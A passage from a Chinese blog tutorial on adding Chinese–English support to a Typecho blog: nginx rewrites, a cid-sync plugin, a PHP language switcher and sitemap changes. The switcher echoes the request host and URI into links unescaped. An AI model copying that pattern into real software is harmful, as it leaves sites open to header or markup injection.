&lt;li&gt;需要为每个文章和页面都配置中英双语&lt;/li&gt;
&lt;li&gt;需要配置一个语言选择器，使得前端可以快速切换语言&lt;/li&gt;
&lt;li&gt;需要搜索引擎可以正确识别并收录多语言版本的文章&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;大致方案&lt;/h2&gt;
&lt;p&gt;中英文文章的区分大致有这两种方案：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;作为一个单独的参数，如访问文章时用&lt;code&gt;/?lang=zh-CN&lt;/code&gt;和&lt;code&gt;/?lang=en-US&lt;/code&gt;来区分，但是这种方案实现起来比较困难，同时对搜索引擎收录也不太好；&lt;/li&gt;
&lt;li&gt;通过URL路径区分，如访问&lt;code&gt;https://&amp;lt;host&amp;gt;/article&lt;/code&gt;是中文页面，访问&lt;code&gt;https://&amp;lt;host&amp;gt;/en/article&lt;/code&gt;是英文页面，这种配置起来比较简单，直接分成两个Typecho实例即可，并且对搜索引擎友好。问题是评论和浏览量统计需要手动同步。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;总结下来，我选择了第二种方案，并且打算直接通过在&lt;code&gt;/en/&lt;/code&gt;新建一个Typecho实例实现多语言支持。&lt;/p&gt;
&lt;h2&gt;具体实现&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;首先将博客实例复制两份，一份中文一份英文，然后分别翻译成英文；&lt;/li&gt;
&lt;li&gt;修改前端代码，实现语言选择器；&lt;/li&gt;
&lt;li&gt;要保证两边文章URL只有一个&lt;code&gt;/en&lt;/code&gt;之差，就得保证中文站点和英文站点文章的&lt;code&gt;cid&lt;/code&gt;相同，而这个&lt;code&gt;cid&lt;/code&gt;是根据创建文章和附件的顺序来的，因此打算编写一个同步插件，中文端发文章的时候自动在英文数据库中插入一条对应&lt;code&gt;cid&lt;/code&gt;的文章；&lt;/li&gt;
&lt;li&gt;改写SiteMap插件，因为sitemap不能既包含页面链接又包含其他sitemap的引用，因此主站需要创建两个sitemap，一个是收录中文站页面的主sitemap，另一个是索引，负责索引中文和英文的sitemap；&lt;/li&gt;
&lt;li&gt;在&lt;code&gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&lt;/code&gt;中添加&lt;code&gt;hreflang&lt;/code&gt;属性来告知搜索引擎如何处理多语言；&lt;/li&gt;
&lt;li&gt;将英文端的访问量和点赞量链接到中文的数据库；&lt;/li&gt;
&lt;li&gt;将英文端的评论链接到中文数据库。&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;开整&lt;/h1&gt;
&lt;h2&gt;创建英文实例&lt;/h2&gt;
&lt;p&gt;将整个网站复制一份，放在原先的网站根目录的&lt;code&gt;/en/&lt;/code&gt;文件夹下，同时将数据库也复制一份，我这里命名成&lt;code&gt;typecho_en&lt;/code&gt;。&lt;br /&gt;
接着，分别为两个实例配置伪静态：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;location /en/ {
    if (!-e $request_filename) {
        rewrite ^(.*)$ /en/index.php$1 last;
    }
}

location / {
  if (!-e $request_filename) {
      rewrite ^(.*)$ /index.php$1 last;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关于为什么要将中文的主实例也用location括起来，是因为实际测试的时候发现如果不括起来就会将英文实例也当作中文实例的一部分解析，造成404。&lt;/p&gt;
&lt;p&gt;同时，修改&lt;code&gt;&amp;lt;webroot&amp;gt;/en/config.inc.php&lt;/code&gt;里的数据库配置，指向英文实例的数据库。&lt;/p&gt;
&lt;p&gt;这个时候，访问&lt;code&gt;&amp;lt;host&amp;gt;/en/&lt;/code&gt;应该能看到一个和中文主站一模一样的站点。&lt;/p&gt;
&lt;h2&gt;修改Typecho语言&lt;/h2&gt;
&lt;p&gt;这一步其实感觉可以不要，因为基本上前端页面的语言都是由主题决定的，将Typecho本身语言设置为英文没什么大用，但是为了统一，还是选择改了一下（这样可以一眼看出来是哪个实例的后台（笑））&lt;br /&gt;
直接参考GitHub上&lt;a href=&quot;https://github.com/typecho/languages&quot;&gt;typecho官方的多语言支持&lt;/a&gt;即可，从Release里下载语言包，然后解压到&lt;code&gt;&amp;lt;webroot&amp;gt;/en/usr/langs/&lt;/code&gt;下，然后进入&lt;code&gt;https://&amp;lt;host&amp;gt;/en/admin/options-general.php&lt;/code&gt;，就能看见语言设置选项，改为&lt;code&gt;English&lt;/code&gt;即可。&lt;/p&gt;
&lt;h2&gt;修改主题语言&lt;/h2&gt;
&lt;p&gt;最繁琐的一步，我使用的是Joe，进入&lt;code&gt;&amp;lt;webroot&amp;gt;/en/usr/themes/Joe&lt;/code&gt;，将所有你能看到的显示相关的中文都翻译成英文，这里没什么非常方便的方法，用翻译工具的话翻出来会很别扭，我还是选择了手动翻译。&lt;br /&gt;
需要注意的是，有一部分的前端配置是在js中的，不止是PHP源文件，这些都需要翻译。&lt;/p&gt;
&lt;h2&gt;翻译文章&lt;/h2&gt;
&lt;p&gt;这一步没啥好说的，把&lt;code&gt;/en/&lt;/code&gt;下的文章一篇篇翻译成英文，保存&lt;/p&gt;
&lt;h2&gt;配置文章同步发布&lt;/h2&gt;
&lt;p&gt;这一步是为了保持两边文章的&lt;code&gt;cid&lt;/code&gt;同步，因为cid和访问url有关，保持cid同步可以使下文配置语言选择器一步更加简单，只要在host后加个&lt;code&gt;/en&lt;/code&gt;或者去掉就行了。&lt;br /&gt;
cid是数据库中&lt;code&gt;typecho_contents&lt;/code&gt;表的一个自增字段，同时也是主键，他的分配和typecho的文章、附件等有关。因为上传的文件也会占用cid，而我打算将所有附件都上传到中文站，因此如果不做特殊处理两边的cid容易匹配不上，增加后续工作量。&lt;br /&gt;
因此我选择的方案是用AI编写一个插件，当中文站发布文章的时候自动触发，读取中文站为其分配的cid并写入到英文站的数据库中。&lt;br /&gt;
创建文件&lt;code&gt;&amp;lt;webroot&amp;gt;/usr/plugins/SyncToEnglish/Plugin.php&lt;/code&gt;并填入如下内容:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
if (!defined(&apos;__TYPECHO_ROOT_DIR__&apos;)) exit;

/**
 * 中文文章同步到英文数据库
 *
 * @package SyncToEnglish
 * @author ChatGPT, iYoRoy
 * @version 1.0.0
 * @link https://example.com
 */
class SyncToEnglish_Plugin implements Typecho_Plugin_Interface
{
    public static function activate()
    {
        Typecho_Plugin::factory(&apos;Widget_Contents_Post_Edit&apos;)-&amp;gt;finishPublish = [__CLASS__, &apos;push&apos;];
        return &apos;SyncToEnglish 插件已启用：发布中文文章时会自动在英文库创建对应空文章&apos;;
        error_log(&quot;[SyncToEnglish] 插件激活成功&quot;);
    }

    public static function deactivate()
    {
        return &apos;SyncToEnglish 插件已禁用&apos;;
    }

    public static function config(Typecho_Widget_Helper_Form $form)
    {
        $host = new Typecho_Widget_Helper_Form_Element_Text(&apos;host&apos;, NULL, &apos;localhost&apos;, _t(&apos;英文数据库主机&apos;));
        $user = new Typecho_Widget_Helper_Form_Element_Text(&apos;user&apos;, NULL, &apos;root&apos;, _t(&apos;英文数据库用户名&apos;));
        $password = new Typecho_Widget_Helper_Form_Element_Password(&apos;password&apos;, NULL, NULL, _t(&apos;英文数据库密码&apos;));
        $database = new Typecho_Widget_Helper_Form_Element_Text(&apos;database&apos;, NULL, &apos;typecho_en&apos;, _t(&apos;英文数据库名称&apos;));
        $port = new Typecho_Widget_Helper_Form_Element_Text(&apos;port&apos;, NULL, &apos;3306&apos;, _t(&apos;英文数据库端口&apos;));
        $charset = new Typecho_Widget_Helper_Form_Element_Text(&apos;charset&apos;, NULL, &apos;utf8mb4&apos;, _t(&apos;字符集&apos;));
        $prefix = new Typecho_Widget_Helper_Form_Element_Text(&apos;prefix&apos;, NULL, &apos;typecho_&apos;, _t(&apos;表前缀&apos;));

        $form-&amp;gt;addInput($host);
        $form-&amp;gt;addInput($user);
        $form-&amp;gt;addInput($password);
        $form-&amp;gt;addInput($database);
        $form-&amp;gt;addInput($port);
        $form-&amp;gt;addInput($charset);
        $form-&amp;gt;addInput($prefix);
    }

    public static function personalConfig(Typecho_Widget_Helper_Form $form) {}

    public static function push($contents, $widget)
    {
        $options = Helper::options();
        $config = $options-&amp;gt;plugin(&apos;SyncToEnglish&apos;);

        // 获取中文库文章信息
        $cnDb = Typecho_Db::get();
        if (is_array($contents) &amp;amp;&amp;amp; isset($contents[&apos;cid&apos;])) {
            $cid = $contents[&apos;cid&apos;];
            $title = $contents[&apos;title&apos;];
        } elseif (is_object($contents) &amp;amp;&amp;amp; isset($contents-&amp;gt;cid)) {
            $cid = $contents-&amp;gt;cid;
            $title = $contents-&amp;gt;title;
        } else {
            $db = Typecho_Db::get();
            $row = $db-&amp;gt;fetchRow($db-&amp;gt;select()-&amp;gt;from(&apos;table.contents&apos;)-&amp;gt;order(&apos;cid&apos;, Typecho_Db::SORT_DESC)-&amp;gt;limit(1));
            $cid = $row[&apos;cid&apos;];
            $title = $row[&apos;title&apos;];
            error_log(&quot;[SyncToEnglish DEBUG] CID not found in param, fallback to latest cid={$cid}\n&quot;, 3, __DIR__ . &apos;/debug.log&apos;);
        }

        $article = $cnDb-&amp;gt;fetchRow($cnDb-&amp;gt;select()-&amp;gt;from(&apos;table.contents&apos;)-&amp;gt;where(&apos;cid = ?&apos;, $cid));
        if (!$article) return;

        $enDb = new Typecho_Db(&apos;Mysql&apos;, $config-&amp;gt;prefix);
        $enDb-&amp;gt;addServer([
            &apos;host&apos; =&amp;gt; $config-&amp;gt;host,
            &apos;user&apos; =&amp;gt; $config-&amp;gt;user,
            &apos;password&apos; =&amp;gt; $config-&amp;gt;password,
            &apos;charset&apos; =&amp;gt; $config-&amp;gt;charset,
            &apos;port&apos; =&amp;gt; (int)$config-&amp;gt;port,
            &apos;database&apos; =&amp;gt; $config-&amp;gt;database
        ], Typecho_Db::READ | Typecho_Db::WRITE);

        try {
            $exists = $enDb-&amp;gt;fetchRow($enDb-&amp;gt;select()-&amp;gt;from(&apos;table.contents&apos;)-&amp;gt;where(&apos;cid = ?&apos;, $article[&apos;cid&apos;]));

            if ($exists) {
                $enDb-&amp;gt;query($enDb-&amp;gt;update(&apos;table.contents&apos;)
                    -&amp;gt;rows([
                        // &apos;title&apos; =&amp;gt; $article[&apos;title&apos;],
                        &apos;slug&apos; =&amp;gt; $article[&apos;slug&apos;],
                        &apos;modified&apos; =&amp;gt; $article[&apos;modified&apos;]
                    ])
                    -&amp;gt;where(&apos;cid = ?&apos;, $article[&apos;cid&apos;])
                );
            } else {
                $enDb-&amp;gt;query($enDb-&amp;gt;insert(&apos;table.contents&apos;)-&amp;gt;rows([
                    &apos;cid&apos;      =&amp;gt; $article[&apos;cid&apos;],
                    &apos;title&apos;    =&amp;gt; $article[&apos;title&apos;],
                    &apos;slug&apos;     =&amp;gt; $article[&apos;slug&apos;],
                    &apos;created&apos;  =&amp;gt; $article[&apos;created&apos;],
                    &apos;modified&apos; =&amp;gt; $article[&apos;modified&apos;],
                    &apos;type&apos;     =&amp;gt; $article[&apos;type&apos;],
                    &apos;status&apos;   =&amp;gt; $article[&apos;status&apos;],
                    &apos;authorId&apos; =&amp;gt; $article[&apos;authorId&apos;],
                    &apos;views&apos;    =&amp;gt; 0,
                    &apos;text&apos;     =&amp;gt; $article[&apos;text&apos;],
                    &apos;allowComment&apos; =&amp;gt; $article[&apos;allowComment&apos;],
                    &apos;allowFeed&apos;    =&amp;gt; $article[&apos;allowFeed&apos;],
                    &apos;allowPing&apos;    =&amp;gt; $article[&apos;allowPing&apos;]
                ]));
            }

        } catch (Exception $e) {
            error_log(&apos;[SyncToEnglish] 同步失败: &apos; . $e-&amp;gt;getMessage());
        }
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;随后去后台启用插件并配置上英文数据库的数据库信息即可。&lt;br /&gt;
完成后，在中文站发布文章，英文站应该能同步发布一篇相同cid的文章。&lt;/p&gt;
&lt;h2&gt;配置语言选择器&lt;/h2&gt;
&lt;p&gt;既然我们已经完成了同步文章cid，接下来我们修改语言的时候只需要修改url，在前面加上或者去掉&lt;code&gt;/en/&lt;/code&gt;就行了。通过PHP编写一个选择器，放在主题的顶栏中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Language Selector --&amp;gt;
&amp;lt;div class=&quot;joe_dropdown&quot; trigger=&quot;hover&quot; placement=&quot;60px&quot;&amp;gt;
    &amp;lt;div class=&quot;joe_dropdown__link&quot;&amp;gt;
    &amp;lt;a href=&quot;#&quot; rel=&quot;nofollow&quot;&amp;gt;Language&amp;lt;/a&amp;gt;
    &amp;lt;svg class=&quot;joe_dropdown__link-icon&quot; viewBox=&quot;0 0 1024 1024&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;14&quot; height=&quot;14&quot;&amp;gt;
        &amp;lt;path d=&quot;M561.873 725.165c-11.262 11.262-26.545 21.72-41.025 18.502-14.479 2.413-28.154-8.849-39.415-18.502L133.129 375.252c-17.697-17.696-17.697-46.655 0-64.352s46.655-17.696 64.351 0l324.173 333.021 324.977-333.02c17.696-17.697 46.655-17.697 64.351 0s17.697 46.655 0 64.351L561.873 725.165z&quot; fill=&quot;var(--main)&quot; /&amp;gt;
    &amp;lt;/svg&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;nav class=&quot;joe_dropdown__menu&quot;&amp;gt;
    &amp;lt;?php
        // 获取当前完整的 URL
        $current_url = $_SERVER[&apos;REQUEST_URI&apos;]; 
        $host = $_SERVER[&apos;HTTP_HOST&apos;];

        // 判断是否有英文前缀 &quot;/en/&quot;
        if (strpos($current_url, &apos;/en/&apos;) === 0) {
        $current_url = substr_replace($current_url, &apos;&apos;, 0, 3);
        }

        $new_url_cn = &apos;https://&apos; . $host . $current_url;
        $new_url_en = &apos;https://&apos; . $host . &apos;/en&apos; . $current_url;

        // 生成两个超链接
        echo &apos;&amp;lt;a href=&quot;&apos; . $new_url_cn . &apos;&quot;&amp;gt;简体中文&amp;lt;/a&amp;gt;&apos;;
        echo &apos;&amp;lt;a href=&quot;&apos; . $new_url_en . &apos;&quot;&amp;gt;English&amp;lt;/a&amp;gt;&apos;;
    ?&amp;gt;
    &amp;lt;/nav&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要在中文和英文两个实例中都添加。&lt;br /&gt;
之后，全局都能通过这个选择器选择语言。对于我用的Joe主题，移动端和PC端需要单独编写两个语言选择器。&lt;/p&gt;
&lt;h2&gt;改写SiteMap插件&lt;/h2&gt;
&lt;p&gt;为了让搜索引擎能更快的收录到英文的页面，我打算修改SiteMap插件，使之包含英文站点的页面。SiteMap有两种，一种是sitemapindex，用于索引子SiteMap，一种是urlset，用于包含页面。我使用的是&lt;a href=&quot;https://github.com/joyqi/typecho-plugin-sitemap&quot;&gt;joyqi/typecho-plugin-sitemap&lt;/a&gt;插件，在这个基础上，将默认的&lt;code&gt;/sitemap.xml&lt;/code&gt;改为sitemapindex，新建一个路由&lt;code&gt;/sitemap_cn.xml&lt;/code&gt;来存放中文站的SiteMap，英文站点的插件不变，再有默认的&lt;code&gt;/sitemap.xml&lt;/code&gt;引用&lt;code&gt;/sitemap_cn.xml&lt;/code&gt;和&lt;code&gt;/en/sitemap.xml&lt;/code&gt;。&lt;br /&gt;
修改SiteMap的&lt;code&gt;Plugin.php&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
* Activate plugin method, if activated failed, throw exception will disable this plugin.
*/
public static function activate()
{
    Helper::addRoute(
-       &apos;sitemap&apos;,
+       &apos;sitemap_index&apos;,
        &apos;/sitemap.xml&apos;,
        Generator::class,
-       &apos;generate&apos;,
+       &apos;generate_index&apos;,
        &apos;index&apos;
    );
+   Helper::addRoute(
+       &apos;sitemap_cn&apos;,
+       &apos;/sitemap_cn.xml&apos;,
+       Generator::class,
+       &apos;generate_cn&apos;,
+       &apos;index&apos;
+   );
}

/**
* Deactivate plugin method, if deactivated failed, throw exception will enable this plugin.
*/
public static function deactivate()
{
-   Helper::removeRoute(&apos;sitemap&apos;);
+   Helper::removeRoute(&apos;sitemap_index&apos;);
+   Helper::removeRoute(&apos;sitemap_cn&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;完整代码&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

namespace TypechoPlugin\Sitemap;

use Typecho\Plugin\PluginInterface;
use Typecho\Widget\Helper\Form;
use Utils\Helper;

if (!defined(&apos;__TYPECHO_ROOT_DIR__&apos;)) {
    exit;
}

/**
 * 自动生成 Typecho 站点地图的插件。
 * 站点地图 Sitemap 的地址是：http(s)://yourdomain.com/sitemap.xml
 *
 * @package 站点地图插件
 * @author joyqi
 * @version 1.0.0
 * @since 1.2.1
 * @link https://github.com/joyqi/typecho-plugin-sitemap
 */
class Plugin implements PluginInterface
{
    /**
     * Activate plugin method, if activated failed, throw exception will disable this plugin.
     */
    public static function activate()
    {
        Helper::addRoute(
            &apos;sitemap_index&apos;,
            &apos;/sitemap.xml&apos;,
            Generator::class,
            &apos;generate_index&apos;,
            &apos;index&apos;
        );
        Helper::addRoute(
            &apos;sitemap_cn&apos;,
            &apos;/sitemap_cn.xml&apos;,
            Generator::class,
            &apos;generate_cn&apos;,
            &apos;index&apos;
        );
    }

    /**
     * Deactivate plugin method, if deactivated failed, throw exception will enable this plugin.
     */
    public static function deactivate()
    {
        Helper::removeRoute(&apos;sitemap_index&apos;);
        Helper::removeRoute(&apos;sitemap_cn&apos;);
    }

    /**
     * Plugin config panel render method.
     *
     * @param Form $form
     */
    public static function config(Form $form)
    {
        $sitemapBlock = new Form\Element\Checkbox(
            &apos;sitemapBlock&apos;,
            [
                &apos;posts&apos; =&amp;gt; _t(&apos;生成文章链接&apos;),
                &apos;pages&apos; =&amp;gt; _t(&apos;生成独立页面链接&apos;),
                &apos;categories&apos; =&amp;gt; _t(&apos;生成分类链接&apos;),
                &apos;tags&apos; =&amp;gt; _t(&apos;生成标签链接&apos;),
            ],
            [&apos;posts&apos;, &apos;pages&apos;, &apos;categories&apos;, &apos;tags&apos;],
            _t(&apos;站点地图显示&apos;)
        );

        $updateFreq = new Form\Element\Select(
            &apos;updateFreq&apos;,
            [
                &apos;daily&apos; =&amp;gt; _t(&apos;每天&apos;),
                &apos;weekly&apos; =&amp;gt; _t(&apos;每周&apos;),
                &apos;monthly&apos; =&amp;gt; _t(&apos;每月或更久&apos;),
            ],
            &apos;daily&apos;,
            _t(&apos;更新频率&apos;)
        );

        // $externalSitemap = new Typecho_Widget_Helper_Form_Element_Text(&apos;externalSitemap&apos;, NULL, &apos;&apos;, _t(&apos;附加SiteMap&apos;));

        $form-&amp;gt;addInput($sitemapBlock-&amp;gt;multiMode());
        $form-&amp;gt;addInput($updateFreq);
        // $form-&amp;gt;addInput($externalSitemap);
    }

    /**
     * Plugin personal config panel render method.
     *
     * @param Form $form
     */
    public static function personalConfig(Form $form)
    {
        // TODO: Implement personalConfig() method.
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改SiteMap的&lt;code&gt;Generator.php&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Generator extends Contents
{
+   public function generate_index(){
+       $sitemap = &apos;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
+&amp;lt;sitemapindex xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&amp;gt;
+ &amp;lt;sitemap&amp;gt;
+   &amp;lt;loc&amp;gt;https://www.iyoroy.cn/sitemap_cn.xml&amp;lt;/loc&amp;gt;
+ &amp;lt;/sitemap&amp;gt;
+ &amp;lt;sitemap&amp;gt;
+   &amp;lt;loc&amp;gt;https://www.iyoroy.cn/en/sitemap.xml&amp;lt;/loc&amp;gt;
+ &amp;lt;/sitemap&amp;gt;
+&amp;lt;/sitemapindex&amp;gt;&apos;;
+       $this-&amp;gt;response-&amp;gt;throwContent($sitemap, &apos;text/xml&apos;);
+   }
+
    /**
     * @return void
     */
-   public function generate()
+   public function generate_cn()
    {
        $sitemap = &apos;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;&apos; . $this-&amp;gt;options-&amp;gt;charset . &apos;&quot;?&amp;gt;&apos; . PHP_EOL;
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;完整代码&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

namespace TypechoPlugin\Sitemap;

use Widget\Base\Contents;
use Widget\Contents\Page\Rows;
use Widget\Contents\Post\Recent;
use Widget\Metas\Category\Rows as CategoryRows;
use Widget\Metas\Tag\Cloud;

if (!defined(&apos;__TYPECHO_ROOT_DIR__&apos;)) {
    exit;
}

/**
 * Sitemap Generator
 */
class Generator extends Contents
{
    public function generate_index(){
        $sitemap = &apos;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;sitemapindex xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&amp;gt;
  &amp;lt;sitemap&amp;gt;
    &amp;lt;loc&amp;gt;https://www.iyoroy.cn/sitemap_cn.xml&amp;lt;/loc&amp;gt;
  &amp;lt;/sitemap&amp;gt;
  &amp;lt;sitemap&amp;gt;
    &amp;lt;loc&amp;gt;https://www.iyoroy.cn/en/sitemap.xml&amp;lt;/loc&amp;gt;
  &amp;lt;/sitemap&amp;gt;
&amp;lt;/sitemapindex&amp;gt;&apos;;
        $this-&amp;gt;response-&amp;gt;throwContent($sitemap, &apos;text/xml&apos;);
    }
    /**
     * @return void
     */
    public function generate_cn()
    {
        $sitemap = &apos;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;&apos; . $this-&amp;gt;options-&amp;gt;charset . &apos;&quot;?&amp;gt;&apos; . PHP_EOL;
        $sitemap .= &apos;&amp;lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&apos;
            . &apos; xmlns:news=&quot;http://www.google.com/schemas/sitemap-news/0.9&quot;&apos;
            . &apos; xmlns:xhtml=&quot;http://www.w3.org/1999/xhtml&quot;&apos;
            . &apos; xmlns:image=&quot;http://www.google.com/schemas/sitemap-image/1.1&quot;&apos;
            . &apos; xmlns:video=&quot;http://www.google.com/schemas/sitemap-video/1.1&quot;&amp;gt;&apos; . PHP_EOL;

        // add homepage
        $sitemap .= &amp;lt;&amp;lt;&amp;lt;EOF
        &amp;lt;url&amp;gt;
            &amp;lt;loc&amp;gt;{$this-&amp;gt;options-&amp;gt;siteUrl}&amp;lt;/loc&amp;gt;
            &amp;lt;changefreq&amp;gt;daily&amp;lt;/changefreq&amp;gt;
            &amp;lt;priority&amp;gt;1.0&amp;lt;/priority&amp;gt;
        &amp;lt;/url&amp;gt;
EOF;

        // add posts
        if (in_array(&apos;posts&apos;, $this-&amp;gt;options-&amp;gt;plugin(&apos;Sitemap&apos;)-&amp;gt;sitemapBlock)) {
            $postsCount = $this-&amp;gt;size($this-&amp;gt;select()
                -&amp;gt;where(&apos;table.contents.status = ?&apos;, &apos;publish&apos;)
                -&amp;gt;where(&apos;table.contents.created &amp;lt; ?&apos;, $this-&amp;gt;options-&amp;gt;time)
                -&amp;gt;where(&apos;table.contents.type = ?&apos;, &apos;post&apos;));

            $posts = Recent::alloc([&apos;pageSize&apos; =&amp;gt; $postsCount]);
            $freq = $this-&amp;gt;options-&amp;gt;plugin(&apos;Sitemap&apos;)-&amp;gt;updateFreq ===&apos;monthly&apos; ? &apos;monthly&apos; : &apos;weekly&apos;;

            while ($posts-&amp;gt;next()) {
                $sitemap .= &amp;lt;&amp;lt;&amp;lt;EOF
            &amp;lt;url&amp;gt;
                &amp;lt;loc&amp;gt;{$posts-&amp;gt;permalink}&amp;lt;/loc&amp;gt;
                &amp;lt;changefreq&amp;gt;{$freq}&amp;lt;/changefreq&amp;gt;
                &amp;lt;lastmod&amp;gt;{$posts-&amp;gt;date-&amp;gt;format(&apos;c&apos;)}&amp;lt;/lastmod&amp;gt;
                &amp;lt;priority&amp;gt;0.8&amp;lt;/priority&amp;gt;
            &amp;lt;/url&amp;gt;
EOF;
            }
        }

        // add pages
        if (in_array(&apos;pages&apos;, $this-&amp;gt;options-&amp;gt;plugin(&apos;Sitemap&apos;)-&amp;gt;sitemapBlock)) {
            $pages = Rows::alloc();
            $freq = $this-&amp;gt;options-&amp;gt;plugin(&apos;Sitemap&apos;)-&amp;gt;updateFreq ===&apos;monthly&apos; ? &apos;yearly&apos; : &apos;monthly&apos;;

            while ($pages-&amp;gt;next()) {
                $sitemap .= &amp;lt;&amp;lt;&amp;lt;EOF
            &amp;lt;url&amp;gt;
                &amp;lt;loc&amp;gt;{$pages-&amp;gt;permalink}&amp;lt;/loc&amp;gt;
                &amp;lt;changefreq&amp;gt;{$freq}&amp;lt;/changefreq&amp;gt;
                &amp;lt;lastmod&amp;gt;{$pages-&amp;gt;date-&amp;gt;format(&apos;c&apos;)}&amp;lt;/lastmod&amp;gt;
                &amp;lt;priority&amp;gt;0.5&amp;lt;/priority&amp;gt;
            &amp;lt;/url&amp;gt;
EOF;
            }
        }

        // add categories
        if (in_array(&apos;categories&apos;, $this-&amp;gt;options-&amp;gt;plugin(&apos;Sitemap&apos;)-&amp;gt;sitemapBlock)) {
            $categories = CategoryRows::alloc();
            $freq = $this-&amp;gt;options-&amp;gt;plugin(&apos;Sitemap&apos;)-&amp;gt;updateFreq;

            while ($categories-&amp;gt;next()) {
                $sitemap .= &amp;lt;&amp;lt;&amp;lt;EOF
            &amp;lt;url&amp;gt;
                &amp;lt;loc&amp;gt;{$categories-&amp;gt;permalink}&amp;lt;/loc&amp;gt;
                &amp;lt;changefreq&amp;gt;{$freq}&amp;lt;/changefreq&amp;gt;
                &amp;lt;priority&amp;gt;0.6&amp;lt;/priority&amp;gt;
            &amp;lt;/url&amp;gt;
EOF;
            }
        }

        // add tags
        if (in_array(&apos;tags&apos;, $this-&amp;gt;options-&amp;gt;plugin(&apos;Sitemap&apos;)-&amp;gt;sitemapBlock)) {
            $tags = Cloud::alloc();
            $freq = $this-&amp;gt;options-&amp;gt;plugin(&apos;Sitemap&apos;)-&amp;gt;updateFreq;

            while ($tags-&amp;gt;next()) {
                $sitemap .= &amp;lt;&amp;lt;&amp;lt;EOF
            &amp;lt;url&amp;gt;
                &amp;lt;loc&amp;gt;{$tags-&amp;gt;permalink}&amp;lt;/loc&amp;gt;
                &amp;lt;changefreq&amp;gt;{$freq}&amp;lt;/changefreq&amp;gt;
                &amp;lt;priority&amp;gt;0.4&amp;lt;/priority&amp;gt;
            &amp;lt;/url&amp;gt;
EOF;
            }
        }

        $sitemap .= &apos;&amp;lt;/urlset&amp;gt;&apos;;

        $this-&amp;gt;response-&amp;gt;throwContent($sitemap, &apos;text/xml&apos;);
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;请将代码中的博客地址改成你自己的&lt;br /&gt;
（最近太忙了实在是没空给单独写个配置页面了就直接把SiteMap URL写死在插件里了）&lt;/p&gt;
&lt;p&gt;禁用再启用插件，访问&lt;code&gt;https://&amp;lt;host&amp;gt;/sitemap.xml&lt;/code&gt;应该就能看到SiteMap的索引了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;sitemapindex xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&amp;gt;
    &amp;lt;sitemap&amp;gt;
        &amp;lt;loc&amp;gt;https://www.iyoroy.cn/sitemap_cn.xml&amp;lt;/loc&amp;gt;
    &amp;lt;/sitemap&amp;gt;
    &amp;lt;sitemap&amp;gt;
        &amp;lt;loc&amp;gt;https://www.iyoroy.cn/en/sitemap.xml&amp;lt;/loc&amp;gt;
    &amp;lt;/sitemap&amp;gt;
&amp;lt;/sitemapindex&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过Bing Search等其他搜索引擎的SEO管理页应该也能看到扫描到了英文站的SiteMap：
&lt;img src=&quot;./images/2025/11/4136962880.png&quot; alt=&quot;bing-webmasters.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;添加hreflang&lt;/h2&gt;
&lt;p&gt;这一步的作用是让搜索引擎知道当前页面存在多语言版本，使其可以根据用户的语言偏好或地理位置展示合适的页面。我们需要在页面的&lt;code&gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&lt;/code&gt;中插入类似如下格式的link标签：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;en-us&quot; href=&quot;https://example.com/us&quot;&amp;gt;
&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;fr&quot; href=&quot;https://example.com/fr&quot;&amp;gt;
&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;x-default&quot; href=&quot;https://example.com/default&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中，&lt;code&gt;hreflang=&quot;x-default&quot;&lt;/code&gt;意为本文的默认语言。&lt;code&gt;hreflang&lt;/code&gt;的值是由ISO 639-1的语言代码和ISO 3166-1 Alpha-2的区域代码构成的，其中区域代码可以省略，只标识语言（类似于中文和简体中文（大陆—）、繁体中文（香港），繁体中文（台湾）的区别）。&lt;/p&gt;
&lt;p&gt;在主题的&lt;code&gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&lt;/code&gt;相关配置中加入如下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
  // 获取当前完整的 URL
  $current_url = $_SERVER[&apos;REQUEST_URI&apos;]; 
